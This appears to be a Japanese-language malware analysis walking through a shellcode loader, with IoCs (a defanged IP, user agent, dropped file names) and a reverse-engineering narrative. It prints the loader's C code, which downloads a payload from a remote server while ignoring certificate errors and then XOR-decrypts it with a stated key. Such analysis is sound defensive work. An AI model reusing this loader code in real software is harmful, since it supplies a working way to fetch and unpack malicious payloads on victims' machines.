
コードのフローチャート
ネットワーク IoC
https://172\[.]20\[.]20\[.]164
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MDDRJS)
感染 IoC(ドロップされたファイル)
2s5s7k8w8b4i.dat
9z8o5d9l0p6c.dat
で、何だこれ。見ていこう。Loader.sln または loader.c
で、スタートアップがあり、スタートアップから asm へ。asm では何が起こるのか? PIC(位置独立コード)シェルコード。かっこいい。で、これは何をするのか? 基本的には Loader(0xdeadbeef) を実行する。なぜ??なぜそのアドレスを選んだのかは分からないが、そのアドレスにはアンパックされたコードがあるはずだ。とにかく先へ進み、デバッガで何が起こるか見てみよう。訂正:Loader(eax) を実行する。eax は .dat ファイルを持つIPアドレスだ .png)
さて、フローに従うと loader に入る

今のところ LoadVtable は煩雑で大きいのでスキップし、残りの機能を分析し終えたら、後で戻ってくることにします。次に、DownloadAndDecryptTls を調べます。
DownloadAndDecryptTls

デバッグ中に気づいた面白いことがあります。
上の画像と次のスニペットでわかるように、
DWORD dwFileSize;
LPBYTE lpFileBuffer = DownloadAndDecryptTls(&pVtable, lpLoaderConfig->strUserAgent,
lpLoaderConfig->strUrl,
&dwFileSize,
lpLoaderConfig->dwXorKey,
lpLoaderConfig->dwXorKey ? TRUE : FALSE);
つまり、lpLoaderConfig が動的に取得されている、ということです。しかし、どこから取得されるのか?どうやら、その .dat ファイルをダウンロードするか、内部で使用しているようです。そして、その .dat ファイルとは何か。アーカイブを調べると
shellcode_0x95d という別のクールなファイルが見つかります。hxd で調べると
一連の API 呼び出しと、その URL が確認できます。つまり、これが実際のシェルコードです :) いいね。これを終えたら、後で見てみましょう。
後のために言っておくと、xor キーは 0x6281f17f です。では、注目ポイント ValidateCa に至るまでの簡単な分析をします。そこまでは、この関数では特に特別なことは起こりません。最も興味深いのは InternetOpenA の呼び出しで、これはネットワーク関連のDLLを初期化します。彼らが仕込んだトリックを確認するために、動的に調べるのが良いでしょう。彼らはCコードで次のように実行します。
hOpen = lpTable->InternetOpenA(strUserAgent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
これはAPIの引数が1つ少ない呼び出しです。とにかく、話は十分。コードで何が起こるか見てみましょう。
デバッガでは、次のようになります。
つまり、ここで起きているのは、INTERNET_OPEN_TYPE_PRECONFIG を使用しているため、事前設定された構造体が使われ、lptable にはすでにURLが含まれているということだと思います。
とにかく、次は ValidateCA です。
なぜこれを行うのかというと、単に HTTPS か HTTP のどちらを使うかを決定するためです。
DWORD dwHttpsFlag = 0;
if( ValidateCA(lpTable) )
dwHttpsFlag = INTERNET_FLAG_SECURE;
else
dwHttpsFlag = INTERNET_FLAG_SECURE|INTERNET_FLAG_IGNORE_CERT_CN_INVALID|INTERNET_FLAG_IGNORE_CERT_DATE_INVALID;
その後、単純な GET リクエストを行い、HTTP からファイルをダウンロードします。ここには特に凝ったことはありません。このコードに特別な点があるのか気になるなら、おそらくないと思います。インターネットでこの方法の例を見つけられるでしょう。DownloadFile 関数はどのようにファイルをダウンロードするのでしょうか? InternetReadFileExA を使用します。
とにかく、コードは次のとおりです。
if( hOpen )
{
hConnect = lpTable->fpInternetConnect(hOpen, serverName, INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0 );
if( hConnect )
{
hReq = lpTable->fpHttpOpenRequest(hConnect, strGet, strResource, strHTTPVersion, NULL, NULL, dwHttpsFlag, 0 );
if( hReq )
{
if( !ValidateCA(lpTable) )
{
DWORD dwFlags;
dwBuffLen = sizeof(dwFlags);
lpTable->fpInternetQueryOption(hReq, INTERNET_OPTION_SECURITY_FLAGS,(LPVOID)&dwFlags, &dwBuffLen);
dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA;
lpTable->fpInternetSetOption(hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
}
if( lpTable->fpHttpSendRequest(hReq, NULL, 0, NULL, 0) )
{
dwBuffLen = 16;
dwIdx = 0;
lpTable->HttpQueryInfoW(hReq, HTTP_QUERY_CONTENT_LENGTH, strBuff, &dwBuffLen, &dwIdx);
*dwFileLen = lpTable->wtoi((LPWSTR) strBuff);
LPBYTE lpFileBuffer = (LPBYTE) lpTable->VirtualAlloc(NULL, *dwFileLen, MEM_COMMIT, PAGE_READWRITE);
if (DownloadFile(lpTable, hReq, lpFileBuffer, *dwFileLen))
{
if (bXored)
lpPayload = Decrypt(lpFileBuffer, *dwFileLen, dwXorKey);
else
lpPayload = lpFileBuffer;
}
} // if( lpTable->fpHttpSendRequest )
} // if( hReq )
} // if( hConnect )
} // if( hOpen )
/* close handles */
if( hReq )
lpTable->fpInternetCloseHandle(hReq);
if( hConnect)
lpTable->fpInternetCloseHandle(hConnect);
if( hOpen)
lpTable->fpInternetCloseHandle(hOpen);
return lpPayload;
さて、復号化関数に入るかどうかを見るために、復号化の if チェックを調べてみましょう。実験時の私の想定では bXored は true になるはずなので、復号化関数に入るはずです。残念ながら、その想定は間違っていました。なぜなら
.png)
lpTable->fpHttpSendRequest is being used in the id not bXored and since the server is down
その悪意のあるサーバーにリクエストを送信することはできません。Frida でサーバーをエミュレートすることもできますが、ペイロードはすでに手元にあるので、何のためにやるのでしょうか。あとは、それを逆アセンブルして、暗号化されているかどうかを判断するだけです。また、復号化は次のようになります
LPDWORD lpD = (LPDWORD) lpBuffer;
LPBYTE lpB = (LPBYTE) lpBuffer;
for (UINT i=0; i<dwBuffLen/4; i++)
lpD[i] ^= dwXorKey;
for (UINT i=dwBuffLen - (dwBuffLen%4); i<dwBuffLen; i++)
lpB[i] ^= 0x41;
return lpBuffer;
これは2つのキーを使うXORで、dwXorkey は 0x6281f17f です。
それでは Loader 関数に戻り、ローダーの最後の部分を解明しましょう。
